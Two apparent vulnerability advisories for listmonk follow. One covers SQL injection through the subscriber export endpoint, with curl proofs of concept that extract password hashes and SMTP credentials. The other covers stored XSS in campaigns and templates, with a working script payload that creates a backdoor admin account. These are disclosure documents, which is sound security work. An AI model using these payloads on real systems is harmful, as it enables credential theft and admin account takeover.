Summary

A SQL injection vulnerability in GET /api/subscribers/export allows an authenticated user with the subscribers:sqlquery permission to bypass the table access control that exists on the regular query endpoint (GET /api/subscribers) and read arbitrary tables from the database — including users (bcrypt password hashes) and settings (SMTP credentials, API keys). Both error-based and time-based exfiltration techniques are confirmed to work. This creates a privilege escalation path: subscribers:sqlquery → hash exfiltration → offline bcrypt crack (cost factor 6) → Super Admin account takeover.

---

Details

The subscriber query feature accepts a user-controlled query parameter that is injected directly into a SQL template via strings.ReplaceAll. The regular query endpoint GET /api/subscribers correctly calls validateQueryTables to block access to sensitive tables before execution. The export endpoint GET /api/subscribers/export omits this call entirely, creating an asymmetric bypass of an intentional security control.

internal/core/subscribers.go — protected path (regular query):

go // QuerySubscribers — table validation present stmt := strings.ReplaceAll(c.q.QuerySubscribersTpl, "%query%", cond) if err := validateQueryTables(c.db, stmt, allowedSubQueryTables); err != nil { return nil, 0, echo.NewHTTPError(http.StatusBadRequest, fmt.Sprintf("Error preparing subscriber query: %v", err)) }

internal/core/subscribers.go — vulnerable path (export):

go // ExportSubscribers — NO table validation stmt := strings.ReplaceAll(c.q.QuerySubscribersForExport, "%query%", cond) tx, err := c.db.Preparex(stmt) // executes directly without restriction

queries/subscribers.sql — the %query% placeholder is injected into a WHERE clause:

sql SELECT subscribers.id, subscribers.email, ... FROM subscribers LEFT JOIN subscriberlists ON ... WHERE (subscribers.status != 'blocklisted') AND %query% ORDER BY subscribers.id ASC LIMIT ...

Because the export path does not run inside a ReadOnly transaction (unlike the dry-run used in QuerySubscribers), PostgreSQL CTEs with data-modifying statements (WITH ... UPDATE ... RETURNING) are also executable, enabling write operations beyond read-only exfiltration.

---

PoC

Prerequisites: Authenticated session with subscribers:sqlquery and subscribers:getall permissions.

Step 1 — Confirm the bypass (blocked on query, open on export):

bash Blocked on regular endpoint: curl -s "http://TARGET:9000/api/subscribers?query=(SELECT+1+FROM+users+LIMIT+1)+IS+NOT+NULL" \ -H "Cookie: session=SESSIONTOKEN" → HTTP 400: {"message":"Error preparing subscriber query: table 'users' is not allowed"}

Bypassed on export endpoint: curl -s "http://TARGET:9000/api/subscribers/export?query=(SELECT+1+FROM+users+LIMIT+1)+IS+NOT+NULL" \ -H "Cookie: session=SESSIONTOKEN" → HTTP 200: returns subscriber rows with no error

Step 2 — Error-based exfiltration of admin password hash:

bash curl -s "http://TARGET:9000/api/subscribers/export?\ query=CAST((SELECT+password+FROM+users+LIMIT+1)+AS+integer)+>+0" \ -H "Cookie: session=SESSIONTOKEN"

Response: json { "message": "Error fetching Subscribers: pq: invalid input syntax for type integer: \"$2a$06$vI8n66eJwWCQDms5d47up.TmBYUsxRF13sw8efTh8TCyMQVLX2cn.\"" }

Step 3 — Error-based exfiltration of SMTP credentials:

bash curl -s "http://TARGET:9000/api/subscribers/export?\ query=CAST((SELECT+value::text+FROM+settings+WHERE+key='smtp'+LIMIT+1)+AS+integer)+>+0" \ -H "Cookie: session=SESSIONTOKEN"

Response: json { "message": "Error fetching Subscribers: pq: invalid input syntax for type integer: \"[{\"host\": \"smtp.yoursite.com\", \"port\": 25, \"enabled\": true, \"password\": \"...\", \"username\": \"...\"}]\"" }

Step 4 — Time-based blind confirmation:

bash time curl -s "http://TARGET:9000/api/subscribers/export?query=pgsleep(3)+IS+NOT+NULL" \ -H "Cookie: session=SESSIONTOKEN" Returns after ~3 seconds — confirms arbitrary SQL function execution

---

Impact

This is a SQL injection vulnerability that bypasses an intentional security control. Any user with the subscribers:sqlquery permission can:

- Read bcrypt password hashes of all admin accounts (including Super Admin) - Extract SMTP credentials, API keys, and all values stored in the settings table - Chain with offline bcrypt cracking (cost factor 6, fast to crack) for full account takeover - Execute data-modifying SQL via PostgreSQL CTEs (write impact)

Attack chain: subscribers:sqlquery → SQLi on export → bcrypt hash exfiltration → offline crack → Super Admin takeover → full instance compromise.

This finding is distinct from the accepted risk in listmonk's security policy ("SQL injection via subscriber query is a known limitation"). The regular query endpoint correctly applies validateQueryTables to prevent access to sensitive tables. The export endpoint is missing that same guard — this is an implementation gap in a deliberate security control, not an accepted design limitation.

Security Advisory: Stored XSS Leading to Admin Account Takeover

Affected Versions: ≤ 5.1.0 Vulnerability Type: CWE-79: Stored Cross-Site Scripting

---

Summary

A lower-privileged user with campaign management permissions can inject malicious JavaScript into campaigns or templates. When a higher-privileged user (Super Admin) views or previews this content, the XSS executes in their browser context, allowing the attacker to perform privileged actions such as creating backdoor admin accounts.

The attack can be weaponized via the public archive feature, where victims simply need to visit a link - no preview click required.

---

Required Attacker Permissions

campaigns:manage - Create/edit campaigns campaigns:get - View campaigns lists:getall - Access lists templates:get - Access templates

Note: These are common permissions for content managers who are not full admins.

---

Attack Vectors

Vector 1: Raw HTML (Direct Script Tag)

html <script> fetch('/api/users', { method: 'POST', headers: {'Content-Type': 'application/json'}, credentials: 'include', body: '{"username":"backdoor","email":"backdoor@evil.com","name":"Backdoor","password":"Hacked123","type":"user","status":"enabled","userRoleId":1,"userroleid":1}' }); </script>

Vector 2: Go Template Safe Function

{{ <script>fetch('/api/users',{method:'POST',headers:{'Content-Type':'application/json'},credentials:'include',body:'{"username":"backdoor","email":"backdoor@evil.com","name":"Backdoor","password":"Hacked123","type":"user","status":"enabled","userRoleId":1,"userroleid":1}'});</script> | Safe }}

---

Attack Scenarios

Scenario 1: Campaign Preview Attack

1. Attacker creates campaign with XSS payload 2. Request is made to super admin: "Please review my newsletter draft" 3. Super admin opens campaign and clicks Preview 4. XSS executes → Backdoor admin account created 5. Attacker logs in with backdoor / Hacked123

Scenario 2: Archive Link Attack (No Click Required)

1. Attacker creates campaign with XSS payload 2. Attacker enables Archive for the campaign 3. Attacker shares archive link: http://localhost:9000/archive/{uuid} 4. Super admin visits the link (no preview click needed!) 5. XSS executes automatically → Account takeover

---

Proof of Concept

Step 1: Create Malicious Campaign

As lower-privileged user, create campaign with body: html <script> fetch('/api/users', { method: 'POST', headers: {'Content-Type': 'application/json'}, credentials: 'include', body: JSON.stringify({ username: 'backdoor', email: 'backdoor@evil.com', name: 'Backdoor Admin', password: 'Hacked123', type: 'user', status: 'enabled', userRoleId: 1, userroleid: 1 }) }); </script>

Step 2: Enable Archive (Optional - for link-based attack)

1. Edit campaign settings 2. Enable "Archive" 3. Copy archive URL: http://localhost:9000/archive/{campaign-uuid}

Step 3: Trigger Execution

Option A - Preview: - Send campaign to super admin for "review" - Super admin previews → XSS fires

Option B - Archive Link: - Share archive URL with super admin - Super admin visits link → XSS fires automatically

Step 4: Verify Takeover

bash Login as backdoor admin curl -X POST "http://localhost:9000/admin/login" \ -d "username=backdoor&password=Hacked123" \ -c cookies.txt -L

Verify super admin access curl -b cookies.txt "http://localhost:9000/api/users"

---

Evidence Screenshots

[Screenshot 1: Lower-privileged user creating malicious campaign] <img width="1892" height="781" alt="Screenshot 2025-12-27 170259" src="https://github.com/user-attachments/assets/b9af26bf-0c5b-4667-ba9a-eea774156d0b" />

[Screenshot 2: Super admin previewing campaign] <img width="1686" height="709" alt="image" src="https://github.com/user-attachments/assets/4ca3d5ff-0cd9-4f22-bca0-e26e13c6b1c7" />

[Screenshot 3: Backdoor user successfully created] <img width="1370" height="469" alt="Screenshot 2025-12-27 170413" src="https://github.com/user-attachments/assets/18135128-f5af-4023-9aa7-8662a1405ed2" />

---

Impact

| Action | Possible via XSS | |--------|-----------------| | Create backdoor admin | ✅ Yes | | Export all subscribers | ✅ Yes | | Modify SMTP settings | ✅ Yes | | Delete all campaigns | ✅ Yes | | Access API keys/secrets | ✅ Yes |

---

Affected Components

| Component | XSS Works? | Method | |-----------|-----------|--------| | Campaign body (Raw HTML) | ✅ Yes | Direct <script> tag | | Campaign body (Template) | ✅ Yes | {{ \ \ \| Safe }} | | Template body | ✅ Yes | Both methods | | Campaign archive | ✅ Yes | Automatic execution on visit |

---